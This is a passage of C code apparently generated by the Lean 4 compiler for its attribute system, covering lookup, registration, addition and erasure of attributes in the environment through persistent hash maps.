x_20 = lean_ctor_get(x_1, 0);
lean_inc(x_20);
x_21 = lean_ctor_get(x_1, 1);
lean_inc(x_21);
lean_dec(x_1);
x_22 = lean_unsigned_to_nat(0u);
x_23 = l_Lean_PersistentHashMap_findAtAux___at_Lean_getBuiltinAttributeImpl___spec__3(x_20, x_21, lean_box(0), x_22, x_3);
lean_dec(x_21);
lean_dec(x_20);
return x_23;
}
}
}
LEAN_EXPORT lean_object* l_Lean_PersistentHashMap_find_x3f___at_Lean_getBuiltinAttributeImpl___spec__1(lean_object* x_1, lean_object* x_2) {
_start:
{
lean_object* x_3; uint64_t x_4; size_t x_5; lean_object* x_6;
x_3 = lean_ctor_get(x_1, 0);
lean_inc(x_3);
lean_dec(x_1);
x_4 = l_Lean_Name_hash___override(x_2);
x_5 = lean_uint64_to_usize(x_4);
x_6 = l_Lean_PersistentHashMap_findAux___at_Lean_getBuiltinAttributeImpl___spec__2(x_3, x_5, x_2);
lean_dec(x_2);
return x_6;
}
}
static lean_object* _init_l_Lean_getBuiltinAttributeImpl___closed__1() {
_start:
{
lean_object* x_1;
x_1 = lean_mk_string_from_bytes("unknown attribute '", 19);
return x_1;
}
}
LEAN_EXPORT lean_object* l_Lean_getBuiltinAttributeImpl(lean_object* x_1, lean_object* x_2) {
_start:
{
lean_object* x_3; lean_object* x_4; uint8_t x_5;
x_3 = l_Lean_registerBuiltinAttribute___lambda__1___closed__1;
x_4 = lean_st_ref_get(x_3, x_2);
x_5 = !lean_is_exclusive(x_4);
if (x_5 == 0)
{
lean_object* x_6; lean_object* x_7;
x_6 = lean_ctor_get(x_4, 0);
lean_inc(x_1);
x_7 = l_Lean_PersistentHashMap_find_x3f___at_Lean_getBuiltinAttributeImpl___spec__1(x_6, x_1);
if (lean_obj_tag(x_7) == 0)
{
uint8_t x_8; lean_object* x_9; lean_object* x_10; lean_object* x_11; lean_object* x_12; lean_object* x_13; lean_object* x_14;
x_8 = 1;
x_9 = l_Lean_Name_toString(x_1, x_8);
x_10 = l_Lean_getBuiltinAttributeImpl___closed__1;
x_11 = lean_string_append(x_10, x_9);
lean_dec(x_9);
x_12 = l_Lean_mkAttributeImplOfBuilder___closed__2;
x_13 = lean_string_append(x_11, x_12);
x_14 = lean_alloc_ctor(18, 1, 0);
lean_ctor_set(x_14, 0, x_13);
lean_ctor_set_tag(x_4, 1);
lean_ctor_set(x_4, 0, x_14);
return x_4;
}
else
{
lean_object* x_15;
lean_dec(x_1);
x_15 = lean_ctor_get(x_7, 0);
lean_inc(x_15);
lean_dec(x_7);
lean_ctor_set(x_4, 0, x_15);
return x_4;
}
}
else
{
lean_object* x_16; lean_object* x_17; lean_object* x_18;
x_16 = lean_ctor_get(x_4, 0);
x_17 = lean_ctor_get(x_4, 1);
lean_inc(x_17);
lean_inc(x_16);
lean_dec(x_4);
lean_inc(x_1);
x_18 = l_Lean_PersistentHashMap_find_x3f___at_Lean_getBuiltinAttributeImpl___spec__1(x_16, x_1);
if (lean_obj_tag(x_18) == 0)
{
uint8_t x_19; lean_object* x_20; lean_object* x_21; lean_object* x_22; lean_object* x_23; lean_object* x_24; lean_object* x_25; lean_object* x_26;
x_19 = 1;
x_20 = l_Lean_Name_toString(x_1, x_19);
x_21 = l_Lean_getBuiltinAttributeImpl___closed__1;
x_22 = lean_string_append(x_21, x_20);
lean_dec(x_20);
x_23 = l_Lean_mkAttributeImplOfBuilder___closed__2;
x_24 = lean_string_append(x_22, x_23);
x_25 = lean_alloc_ctor(18, 1, 0);
lean_ctor_set(x_25, 0, x_24);
x_26 = lean_alloc_ctor(1, 2, 0);
lean_ctor_set(x_26, 0, x_25);
lean_ctor_set(x_26, 1, x_17);
return x_26;
}
else
{
lean_object* x_27; lean_object* x_28;
lean_dec(x_1);
x_27 = lean_ctor_get(x_18, 0);
lean_inc(x_27);
lean_dec(x_18);
x_28 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_28, 0, x_27);
lean_ctor_set(x_28, 1, x_17);
return x_28;
}
}
}
}
LEAN_EXPORT lean_object* l_Lean_PersistentHashMap_findAtAux___at_Lean_getBuiltinAttributeImpl___spec__3___boxed(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4, lean_object* x_5) {
_start:
{
lean_object* x_6;
x_6 = l_Lean_PersistentHashMap_findAtAux___at_Lean_getBuiltinAttributeImpl___spec__3(x_1, x_2, x_3, x_4, x_5);
lean_dec(x_5);
lean_dec(x_2);
lean_dec(x_1);
return x_6;
}
}
LEAN_EXPORT lean_object* l_Lean_PersistentHashMap_findAux___at_Lean_getBuiltinAttributeImpl___spec__2___boxed(lean_object* x_1, lean_object* x_2, lean_object* x_3) {
_start:
{
size_t x_4; lean_object* x_5;
x_4 = lean_unbox_usize(x_2);
lean_dec(x_2);
x_5 = l_Lean_PersistentHashMap_findAux___at_Lean_getBuiltinAttributeImpl___spec__2(x_1, x_4, x_3);
lean_dec(x_3);
return x_5;
}
}
LEAN_EXPORT lean_object* lean_attribute_application_time(lean_object* x_1, lean_object* x_2) {
_start:
{
lean_object* x_3;
x_3 = l_Lean_getBuiltinAttributeImpl(x_1, x_2);
if (lean_obj_tag(x_3) == 0)
{
uint8_t x_4;
x_4 = !lean_is_exclusive(x_3);
if (x_4 == 0)
{
lean_object* x_5; lean_object* x_6; uint8_t x_7; lean_object* x_8;
x_5 = lean_ctor_get(x_3, 0);
x_6 = lean_ctor_get(x_5, 0);
lean_inc(x_6);
lean_dec(x_5);
x_7 = lean_ctor_get_uint8(x_6, sizeof(void*)*3);
lean_dec(x_6);
x_8 = lean_box(x_7);
lean_ctor_set(x_3, 0, x_8);
return x_3;
}
else
{
lean_object* x_9; lean_object* x_10; lean_object* x_11; uint8_t x_12; lean_object* x_13; lean_object* x_14;
x_9 = lean_ctor_get(x_3, 0);
x_10 = lean_ctor_get(x_3, 1);
lean_inc(x_10);
lean_inc(x_9);
lean_dec(x_3);
x_11 = lean_ctor_get(x_9, 0);
lean_inc(x_11);
lean_dec(x_9);
x_12 = lean_ctor_get_uint8(x_11, sizeof(void*)*3);
lean_dec(x_11);
x_13 = lean_box(x_12);
x_14 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_14, 0, x_13);
lean_ctor_set(x_14, 1, x_10);
return x_14;
}
}
else
{
uint8_t x_15;
x_15 = !lean_is_exclusive(x_3);
if (x_15 == 0)
{
return x_3;
}
else
{
lean_object* x_16; lean_object* x_17; lean_object* x_18;
x_16 = lean_ctor_get(x_3, 0);
x_17 = lean_ctor_get(x_3, 1);
lean_inc(x_17);
lean_inc(x_16);
lean_dec(x_3);
x_18 = lean_alloc_ctor(1, 2, 0);
lean_ctor_set(x_18, 0, x_16);
lean_ctor_set(x_18, 1, x_17);
return x_18;
}
}
}
}
static lean_object* _init_l_Lean_isAttribute___closed__1() {
_start:
{
lean_object* x_1;
x_1 = l_Lean_attributeExtension;
return x_1;
}
}
LEAN_EXPORT uint8_t l_Lean_isAttribute(lean_object* x_1, lean_object* x_2) {
_start:
{
lean_object* x_3; lean_object* x_4; lean_object* x_5; lean_object* x_6; uint8_t x_7;
x_3 = l_Lean_instInhabitedAttributeExtensionState;
x_4 = l_Lean_isAttribute___closed__1;
x_5 = l_Lean_PersistentEnvExtension_getState___rarg(x_3, x_4, x_1);
x_6 = lean_ctor_get(x_5, 1);
lean_inc(x_6);
lean_dec(x_5);
x_7 = l_Lean_PersistentHashMap_contains___at_Lean_registerBuiltinAttribute___spec__5(x_6, x_2);
return x_7;
}
}
LEAN_EXPORT lean_object* l_Lean_isAttribute___boxed(lean_object* x_1, lean_object* x_2) {
_start:
{
uint8_t x_3; lean_object* x_4;
x_3 = l_Lean_isAttribute(x_1, x_2);
lean_dec(x_1);
x_4 = lean_box(x_3);
return x_4;
}
}
LEAN_EXPORT lean_object* l_Lean_getAttributeNames(lean_object* x_1) {
_start:
{
lean_object* x_2; lean_object* x_3; lean_object* x_4; lean_object* x_5; lean_object* x_6; lean_object* x_7; lean_object* x_8;
x_2 = l_Lean_instInhabitedAttributeExtensionState;
x_3 = l_Lean_isAttribute___closed__1;
x_4 = l_Lean_PersistentEnvExtension_getState___rarg(x_2, x_3, x_1);
x_5 = lean_ctor_get(x_4, 1);
lean_inc(x_5);
lean_dec(x_4);
x_6 = lean_box(0);
x_7 = l_Lean_getBuiltinAttributeNames___closed__1;
x_8 = l_Lean_PersistentHashMap_foldlM___at_Lean_getBuiltinAttributeNames___spec__1(x_5, x_7, x_6);
return x_8;
}
}
LEAN_EXPORT lean_object* l_Lean_getAttributeNames___boxed(lean_object* x_1) {
_start:
{
lean_object* x_2;
x_2 = l_Lean_getAttributeNames(x_1);
lean_dec(x_1);
return x_2;
}
}
LEAN_EXPORT lean_object* l_Lean_getAttributeImpl(lean_object* x_1, lean_object* x_2) {
_start:
{
lean_object* x_3; lean_object* x_4; lean_object* x_5; lean_object* x_6; lean_object* x_7;
x_3 = l_Lean_instInhabitedAttributeExtensionState;
x_4 = l_Lean_isAttribute___closed__1;
x_5 = l_Lean_PersistentEnvExtension_getState___rarg(x_3, x_4, x_1);
x_6 = lean_ctor_get(x_5, 1);
lean_inc(x_6);
lean_dec(x_5);
lean_inc(x_2);
x_7 = l_Lean_PersistentHashMap_find_x3f___at_Lean_getBuiltinAttributeImpl___spec__1(x_6, x_2);
if (lean_obj_tag(x_7) == 0)
{
uint8_t x_8; lean_object* x_9; lean_object* x_10; lean_object* x_11; lean_object* x_12; lean_object* x_13; lean_object* x_14;
x_8 = 1;
x_9 = l_Lean_Name_toString(x_2, x_8);
x_10 = l_Lean_getBuiltinAttributeImpl___closed__1;
x_11 = lean_string_append(x_10, x_9);
lean_dec(x_9);
x_12 = l_Lean_mkAttributeImplOfBuilder___closed__2;
x_13 = lean_string_append(x_11, x_12);
x_14 = lean_alloc_ctor(0, 1, 0);
lean_ctor_set(x_14, 0, x_13);
return x_14;
}
else
{
lean_object* x_15; lean_object* x_16;
lean_dec(x_2);
x_15 = lean_ctor_get(x_7, 0);
lean_inc(x_15);
lean_dec(x_7);
x_16 = lean_alloc_ctor(1, 1, 0);
lean_ctor_set(x_16, 0, x_15);
return x_16;
}
}
}
LEAN_EXPORT lean_object* l_Lean_getAttributeImpl___boxed(lean_object* x_1, lean_object* x_2) {
_start:
{
lean_object* x_3;
x_3 = l_Lean_getAttributeImpl(x_1, x_2);
lean_dec(x_1);
return x_3;
}
}
LEAN_EXPORT lean_object* l_Lean_registerAttributeOfDecl(lean_object* x_1, lean_object* x_2, lean_object* x_3) {
_start:
{
lean_object* x_4;
lean_inc(x_3);
lean_inc(x_1);
x_4 = l_Lean_mkAttributeImplOfConstantUnsafe(x_1, x_2, x_3);
if (lean_obj_tag(x_4) == 0)
{
uint8_t x_5;
lean_dec(x_3);
lean_dec(x_1);
x_5 = !lean_is_exclusive(x_4);
if (x_5 == 0)
{
return x_4;
}
else
{
lean_object* x_6; lean_object* x_7;
x_6 = lean_ctor_get(x_4, 0);
lean_inc(x_6);
lean_dec(x_4);
x_7 = lean_alloc_ctor(0, 1, 0);
lean_ctor_set(x_7, 0, x_6);
return x_7;
}
}
else
{
uint8_t x_8;
x_8 = !lean_is_exclusive(x_4);
if (x_8 == 0)
{
lean_object* x_9; lean_object* x_10; lean_object* x_11; uint8_t x_12;
x_9 = lean_ctor_get(x_4, 0);
x_10 = lean_ctor_get(x_9, 0);
lean_inc(x_10);
x_11 = lean_ctor_get(x_10, 1);
lean_inc(x_11);
lean_dec(x_10);
lean_inc(x_11);
x_12 = l_Lean_isAttribute(x_1, x_11);
if (x_12 == 0)
{
lean_object* x_13; lean_object* x_14; lean_object* x_15; lean_object* x_16;
lean_dec(x_11);
x_13 = lean_alloc_ctor(0, 1, 0);
lean_ctor_set(x_13, 0, x_3);
x_14 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_14, 0, x_13);
lean_ctor_set(x_14, 1, x_9);
x_15 = l_Lean_isAttribute___closed__1;
x_16 = l_Lean_PersistentEnvExtension_addEntry___rarg(x_15, x_1, x_14);
lean_ctor_set(x_4, 0, x_16);
return x_4;
}
else
{
uint8_t x_17; lean_object* x_18; lean_object* x_19; lean_object* x_20; lean_object* x_21; lean_object* x_22;
lean_dec(x_9);
lean_dec(x_3);
lean_dec(x_1);
x_17 = 1;
x_18 = l_Lean_Name_toString(x_11, x_17);
x_19 = l_Lean_registerBuiltinAttribute___closed__1;
x_20 = lean_string_append(x_19, x_18);
lean_dec(x_18);
x_21 = l_Lean_registerBuiltinAttribute___closed__2;
x_22 = lean_string_append(x_20, x_21);
lean_ctor_set_tag(x_4, 0);
lean_ctor_set(x_4, 0, x_22);
return x_4;
}
}
else
{
lean_object* x_23; lean_object* x_24; lean_object* x_25; uint8_t x_26;
x_23 = lean_ctor_get(x_4, 0);
lean_inc(x_23);
lean_dec(x_4);
x_24 = lean_ctor_get(x_23, 0);
lean_inc(x_24);
x_25 = lean_ctor_get(x_24, 1);
lean_inc(x_25);
lean_dec(x_24);
lean_inc(x_25);
x_26 = l_Lean_isAttribute(x_1, x_25);
if (x_26 == 0)
{
lean_object* x_27; lean_object* x_28; lean_object* x_29; lean_object* x_30; lean_object* x_31;
lean_dec(x_25);
x_27 = lean_alloc_ctor(0, 1, 0);
lean_ctor_set(x_27, 0, x_3);
x_28 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_28, 0, x_27);
lean_ctor_set(x_28, 1, x_23);
x_29 = l_Lean_isAttribute___closed__1;
x_30 = l_Lean_PersistentEnvExtension_addEntry___rarg(x_29, x_1, x_28);
x_31 = lean_alloc_ctor(1, 1, 0);
lean_ctor_set(x_31, 0, x_30);
return x_31;
}
else
{
uint8_t x_32; lean_object* x_33; lean_object* x_34; lean_object* x_35; lean_object* x_36; lean_object* x_37; lean_object* x_38;
lean_dec(x_23);
lean_dec(x_3);
lean_dec(x_1);
x_32 = 1;
x_33 = l_Lean_Name_toString(x_25, x_32);
x_34 = l_Lean_registerBuiltinAttribute___closed__1;
x_35 = lean_string_append(x_34, x_33);
lean_dec(x_33);
x_36 = l_Lean_registerBuiltinAttribute___closed__2;
x_37 = lean_string_append(x_35, x_36);
x_38 = lean_alloc_ctor(0, 1, 0);
lean_ctor_set(x_38, 0, x_37);
return x_38;
}
}
}
}
}
LEAN_EXPORT lean_object* l_Lean_registerAttributeOfDecl___boxed(lean_object* x_1, lean_object* x_2, lean_object* x_3) {
_start:
{
lean_object* x_4;
x_4 = l_Lean_registerAttributeOfDecl(x_1, x_2, x_3);
lean_dec(x_2);
return x_4;
}
}
LEAN_EXPORT lean_object* l_Lean_registerAttributeOfBuilder(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4, lean_object* x_5) {
_start:
{
lean_object* x_6;
lean_inc(x_4);
lean_inc(x_3);
lean_inc(x_2);
x_6 = l_Lean_mkAttributeImplOfBuilder(x_2, x_3, x_4, x_5);
if (lean_obj_tag(x_6) == 0)
{
uint8_t x_7;
x_7 = !lean_is_exclusive(x_6);
if (x_7 == 0)
{
lean_object* x_8; lean_object* x_9; lean_object* x_10; uint8_t x_11;
x_8 = lean_ctor_get(x_6, 0);
x_9 = lean_ctor_get(x_8, 0);
lean_inc(x_9);
x_10 = lean_ctor_get(x_9, 1);
lean_inc(x_10);
lean_dec(x_9);
lean_inc(x_10);
x_11 = l_Lean_isAttribute(x_1, x_10);
if (x_11 == 0)
{
lean_object* x_12; lean_object* x_13; lean_object* x_14; lean_object* x_15;
lean_dec(x_10);
x_12 = lean_alloc_ctor(1, 3, 0);
lean_ctor_set(x_12, 0, x_2);
lean_ctor_set(x_12, 1, x_3);
lean_ctor_set(x_12, 2, x_4);
x_13 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_13, 0, x_12);
lean_ctor_set(x_13, 1, x_8);
x_14 = l_Lean_isAttribute___closed__1;
x_15 = l_Lean_PersistentEnvExtension_addEntry___rarg(x_14, x_1, x_13);
lean_ctor_set(x_6, 0, x_15);
return x_6;
}
else
{
uint8_t x_16; lean_object* x_17; lean_object* x_18; lean_object* x_19; lean_object* x_20; lean_object* x_21; lean_object* x_22;
lean_dec(x_8);
lean_dec(x_4);
lean_dec(x_3);
lean_dec(x_2);
lean_dec(x_1);
x_16 = 1;
x_17 = l_Lean_Name_toString(x_10, x_16);
x_18 = l_Lean_registerBuiltinAttribute___closed__1;
x_19 = lean_string_append(x_18, x_17);
lean_dec(x_17);
x_20 = l_Lean_registerBuiltinAttribute___closed__2;
x_21 = lean_string_append(x_19, x_20);
x_22 = lean_alloc_ctor(18, 1, 0);
lean_ctor_set(x_22, 0, x_21);
lean_ctor_set_tag(x_6, 1);
lean_ctor_set(x_6, 0, x_22);
return x_6;
}
}
else
{
lean_object* x_23; lean_object* x_24; lean_object* x_25; lean_object* x_26; uint8_t x_27;
x_23 = lean_ctor_get(x_6, 0);
x_24 = lean_ctor_get(x_6, 1);
lean_inc(x_24);
lean_inc(x_23);
lean_dec(x_6);
x_25 = lean_ctor_get(x_23, 0);
lean_inc(x_25);
x_26 = lean_ctor_get(x_25, 1);
lean_inc(x_26);
lean_dec(x_25);
lean_inc(x_26);
x_27 = l_Lean_isAttribute(x_1, x_26);
if (x_27 == 0)
{
lean_object* x_28; lean_object* x_29; lean_object* x_30; lean_object* x_31; lean_object* x_32;
lean_dec(x_26);
x_28 = lean_alloc_ctor(1, 3, 0);
lean_ctor_set(x_28, 0, x_2);
lean_ctor_set(x_28, 1, x_3);
lean_ctor_set(x_28, 2, x_4);
x_29 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_29, 0, x_28);
lean_ctor_set(x_29, 1, x_23);
x_30 = l_Lean_isAttribute___closed__1;
x_31 = l_Lean_PersistentEnvExtension_addEntry___rarg(x_30, x_1, x_29);
x_32 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_32, 0, x_31);
lean_ctor_set(x_32, 1, x_24);
return x_32;
}
else
{
uint8_t x_33; lean_object* x_34; lean_object* x_35; lean_object* x_36; lean_object* x_37; lean_object* x_38; lean_object* x_39; lean_object* x_40;
lean_dec(x_23);
lean_dec(x_4);
lean_dec(x_3);
lean_dec(x_2);
lean_dec(x_1);
x_33 = 1;
x_34 = l_Lean_Name_toString(x_26, x_33);
x_35 = l_Lean_registerBuiltinAttribute___closed__1;
x_36 = lean_string_append(x_35, x_34);
lean_dec(x_34);
x_37 = l_Lean_registerBuiltinAttribute___closed__2;
x_38 = lean_string_append(x_36, x_37);
x_39 = lean_alloc_ctor(18, 1, 0);
lean_ctor_set(x_39, 0, x_38);
x_40 = lean_alloc_ctor(1, 2, 0);
lean_ctor_set(x_40, 0, x_39);
lean_ctor_set(x_40, 1, x_24);
return x_40;
}
}
}
else
{
uint8_t x_41;
lean_dec(x_4);
lean_dec(x_3);
lean_dec(x_2);
lean_dec(x_1);
x_41 = !lean_is_exclusive(x_6);
if (x_41 == 0)
{
return x_6;
}
else
{
lean_object* x_42; lean_object* x_43; lean_object* x_44;
x_42 = lean_ctor_get(x_6, 0);
x_43 = lean_ctor_get(x_6, 1);
lean_inc(x_43);
lean_inc(x_42);
lean_dec(x_6);
x_44 = lean_alloc_ctor(1, 2, 0);
lean_ctor_set(x_44, 0, x_42);
lean_ctor_set(x_44, 1, x_43);
return x_44;
}
}
}
}
LEAN_EXPORT lean_object* l_Lean_throwError___at_Lean_Attribute_add___spec__2(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4) {
_start:
{
lean_object* x_5; lean_object* x_6; uint8_t x_7;
x_5 = lean_ctor_get(x_2, 5);
x_6 = l_Lean_addMessageContextPartial___at_Lean_Core_instAddMessageContextCoreM___spec__1(x_1, x_2, x_3, x_4);
x_7 = !lean_is_exclusive(x_6);
if (x_7 == 0)
{
lean_object* x_8; lean_object* x_9;
x_8 = lean_ctor_get(x_6, 0);
lean_inc(x_5);
x_9 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_9, 0, x_5);
lean_ctor_set(x_9, 1, x_8);
lean_ctor_set_tag(x_6, 1);
lean_ctor_set(x_6, 0, x_9);
return x_6;
}
else
{
lean_object* x_10; lean_object* x_11; lean_object* x_12; lean_object* x_13;
x_10 = lean_ctor_get(x_6, 0);
x_11 = lean_ctor_get(x_6, 1);
lean_inc(x_11);
lean_inc(x_10);
lean_dec(x_6);
lean_inc(x_5);
x_12 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_12, 0, x_5);
lean_ctor_set(x_12, 1, x_10);
x_13 = lean_alloc_ctor(1, 2, 0);
lean_ctor_set(x_13, 0, x_12);
lean_ctor_set(x_13, 1, x_11);
return x_13;
}
}
}
LEAN_EXPORT lean_object* l_Lean_ofExcept___at_Lean_Attribute_add___spec__1(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4) {
_start:
{
if (lean_obj_tag(x_1) == 0)
{
lean_object* x_5; lean_object* x_6; lean_object* x_7; lean_object* x_8;
x_5 = lean_ctor_get(x_1, 0);
lean_inc(x_5);
lean_dec(x_1);
x_6 = lean_alloc_ctor(3, 1, 0);
lean_ctor_set(x_6, 0, x_5);
x_7 = lean_alloc_ctor(0, 1, 0);
lean_ctor_set(x_7, 0, x_6);
x_8 = l_Lean_throwError___at_Lean_Attribute_add___spec__2(x_7, x_2, x_3, x_4);
return x_8;
}
else
{
lean_object* x_9; lean_object* x_10;
x_9 = lean_ctor_get(x_1, 0);
lean_inc(x_9);
lean_dec(x_1);
x_10 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_10, 0, x_9);
lean_ctor_set(x_10, 1, x_4);
return x_10;
}
}
}
LEAN_EXPORT lean_object* l_Lean_Attribute_add(lean_object* x_1, lean_object* x_2, lean_object* x_3, uint8_t x_4, lean_object* x_5, lean_object* x_6, lean_object* x_7) {
_start:
{
lean_object* x_8; lean_object* x_9; lean_object* x_10; lean_object* x_11; lean_object* x_12; lean_object* x_13;
x_8 = lean_st_ref_get(x_6, x_7);
x_9 = lean_ctor_get(x_8, 0);
lean_inc(x_9);
x_10 = lean_ctor_get(x_8, 1);
lean_inc(x_10);
lean_dec(x_8);
x_11 = lean_ctor_get(x_9, 0);
lean_inc(x_11);
lean_dec(x_9);
x_12 = l_Lean_getAttributeImpl(x_11, x_2);
lean_dec(x_11);
x_13 = l_Lean_ofExcept___at_Lean_Attribute_add___spec__1(x_12, x_5, x_6, x_10);
if (lean_obj_tag(x_13) == 0)
{
lean_object* x_14; lean_object* x_15; lean_object* x_16; lean_object* x_17; lean_object* x_18;
x_14 = lean_ctor_get(x_13, 0);
lean_inc(x_14);
x_15 = lean_ctor_get(x_13, 1);
lean_inc(x_15);
lean_dec(x_13);
x_16 = lean_ctor_get(x_14, 1);
lean_inc(x_16);
lean_dec(x_14);
x_17 = lean_box(x_4);
x_18 = lean_apply_6(x_16, x_1, x_3, x_17, x_5, x_6, x_15);
return x_18;
}
else
{
uint8_t x_19;
lean_dec(x_6);
lean_dec(x_5);
lean_dec(x_3);
lean_dec(x_1);
x_19 = !lean_is_exclusive(x_13);
if (x_19 == 0)
{
return x_13;
}
else
{
lean_object* x_20; lean_object* x_21; lean_object* x_22;
x_20 = lean_ctor_get(x_13, 0);
x_21 = lean_ctor_get(x_13, 1);
lean_inc(x_21);
lean_inc(x_20);
lean_dec(x_13);
x_22 = lean_alloc_ctor(1, 2, 0);
lean_ctor_set(x_22, 0, x_20);
lean_ctor_set(x_22, 1, x_21);
return x_22;
}
}
}
}
LEAN_EXPORT lean_object* l_Lean_throwError___at_Lean_Attribute_add___spec__2___boxed(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4) {
_start:
{
lean_object* x_5;
x_5 = l_Lean_throwError___at_Lean_Attribute_add___spec__2(x_1, x_2, x_3, x_4);
lean_dec(x_3);
lean_dec(x_2);
return x_5;
}
}
LEAN_EXPORT lean_object* l_Lean_ofExcept___at_Lean_Attribute_add___spec__1___boxed(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4) {
_start:
{
lean_object* x_5;
x_5 = l_Lean_ofExcept___at_Lean_Attribute_add___spec__1(x_1, x_2, x_3, x_4);
lean_dec(x_3);
lean_dec(x_2);
return x_5;
}
}
LEAN_EXPORT lean_object* l_Lean_Attribute_add___boxed(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4, lean_object* x_5, lean_object* x_6, lean_object* x_7) {
_start:
{
uint8_t x_8; lean_object* x_9;
x_8 = lean_unbox(x_4);
lean_dec(x_4);
x_9 = l_Lean_Attribute_add(x_1, x_2, x_3, x_8, x_5, x_6, x_7);
return x_9;
}
}
LEAN_EXPORT lean_object* l_Lean_Attribute_erase(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4, lean_object* x_5) {
_start:
{
lean_object* x_6; lean_object* x_7; lean_object* x_8; lean_object* x_9; lean_object* x_10; lean_object* x_11;
x_6 = lean_st_ref_get(x_4, x_5);
x_7 = lean_ctor_get(x_6, 0);
lean_inc(x_7);
x_8 = lean_ctor_get(x_6, 1);
lean_inc(x_8);
lean_dec(x_6);
x_9 = lean_ctor_get(x_7, 0);
lean_inc(x_9);
lean_dec(x_7);
x_10 = l_Lean_getAttributeImpl(x_9, x_2);
lean_dec(x_9);
x_11 = l_Lean_ofExcept___at_Lean_Attribute_add___spec__1(x_10, x_3, x_4, x_8);
if (lean_obj_tag(x_11) == 0)
{
lean_object* x_12; lean_object* x_13; lean_object* x_14; lean_object* x_15;
x_12 = lean_ctor_get(x_11, 0);
lean_inc(x_12);
x_13 = lean_ctor_get(x_11, 1);
lean_inc(x_13);
lean_dec(x_11);
x_14 = lean_ctor_get(x_12, 2);
lean_inc(x_14);
lean_dec(x_12);
x_15 = lean_apply_4(x_14, x_1, x_3, x_4, x_13);
return x_15;
}
else
{
uint8_t x_16;
lean_dec(x_4);
lean_dec(x_3);
lean_dec(x_1);
x_16 = !lean_is_exclusive(x_11);
if (x_16 == 0)
{
return x_11;
}
else
{
lean_object* x_17; lean_object* x_18; lean_object* x_19;
x_17 = lean_ctor_get(x_11, 0);
x_18 = lean_ctor_get(x_11, 1);
lean_inc(x_18);
lean_inc(x_17);
lean_dec(x_11);
x_19 = lean_alloc_ctor(1, 2, 0);
lean_ctor_set(x_19, 0, x_17);
lean_ctor_set(x_19, 1, x_18);
return x_19;
}
}
}
}
LEAN_EXPORT lean_object* l_Lean_PersistentHashMap_foldlM___at_Lean_updateEnvAttributesImpl___spec__1(lean_object* x_1, lean_object* x_2, lean_object* x_3) {
_start:
{
lean_object* x_4; lean_object* x_5;
x_4 = lean_ctor_get(x_1, 0);
lean_inc(x_4);
lean_dec(x_1);
x_5 = l_Lean_PersistentHashMap_foldlMAux___at_Lean_mkModuleData___spec__3___rarg(x_2, x_4, x_3);
return x_5;
}
}
LEAN_EXPORT lean_object* l_Lean_updateEnvAttributesImpl___lambda__1(lean_object* x_1, lean_object* x_2, lean_object* x_3) {
_start:
{
lean_object* x_4; lean_object* x_5; uint8_t x_6;
x_4 = lean_ctor_get(x_1, 0);
lean_inc(x_4);
x_5 = lean_ctor_get(x_1, 1);
lean_inc(x_5);
lean_inc(x_2);
lean_inc(x_5);
x_6 = l_Lean_PersistentHashMap_contains___at_Lean_registerBuiltinAttribute___spec__5(x_5, x_2);
if (x_6 == 0)
{
uint8_t x_7;
x_7 = !lean_is_exclusive(x_1);
if (x_7 == 0)
{
lean_object* x_8; lean_object* x_9; lean_object* x_10;
x_8 = lean_ctor_get(x_1, 1);
lean_dec(x_8);
x_9 = lean_ctor_get(x_1, 0);
lean_dec(x_9);
x_10 = l_Lean_PersistentHashMap_insert___at_Lean_registerBuiltinAttribute___spec__1(x_5, x_2, x_3);
lean_ctor_set(x_1, 1, x_10);
return x_1;
}
else
{
lean_object* x_11; lean_object* x_12;
lean_dec(x_1);
x_11 = l_Lean_PersistentHashMap_insert___at_Lean_registerBuiltinAttribute___spec__1(x_5, x_2, x_3);
x_12 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_12, 0, x_4);
lean_ctor_set(x_12, 1, x_11);
return x_12;
}
}
else
{
lean_dec(x_5);
lean_dec(x_4);
lean_dec(x_3);
lean_dec(x_2);
return x_1;
}
}
}
static lean_object* _init_l_Lean_updateEnvAttributesImpl___closed__1() {
_start:
{
lean_object* x_1;
x_1 = lean_alloc_closure((void*)(l_Lean_updateEnvAttributesImpl___lambda__1), 3, 0);
return x_1;
}
}
LEAN_EXPORT lean_object* lean_update_env_attributes(lean_object* x_1, lean_object* x_2) {
_start:
{
lean_object* x_3; lean_object* x_4; uint8_t x_5;
x_3 = l_Lean_registerBuiltinAttribute___lambda__1___closed__1;
x_4 = lean_st_ref_get(x_3, x_2);
x_5 = !lean_is_exclusive(x_4);
if (x_5 == 0)
{
lean_object* x_6; lean_object* x_7; lean_object* x_8; lean_object* x_9; lean_object* x_10; lean_object* x_11; lean_object* x_12;
x_6 = lean_ctor_get(x_4, 0);
x_7 = l_Lean_instInhabitedAttributeExtensionState;
x_8 = l_Lean_isAttribute___closed__1;
x_9 = l_Lean_PersistentEnvExtension_getState___rarg(x_7, x_8, x_1);
x_10 = l_Lean_updateEnvAttributesImpl___closed__1;
x_11 = l_Lean_PersistentHashMap_foldlM___at_Lean_updateEnvAttributesImpl___spec__1(x_6, x_10, x_9);
x_12 = l_Lean_PersistentEnvExtension_setState___rarg(x_8, x_1, x_11);
lean_ctor_set(x_4, 0, x_12);
return x_4;
}
else
{
lean_object* x_13; lean_object* x_14; lean_object* x_15; lean_object* x_16; lean_object* x_17; lean_object* x_18; lean_object* x_19; lean_object* x_20; lean_object* x_21;
x_13 = lean_ctor_get(x_4, 0);
x_14 = lean_ctor_get(x_4, 1);
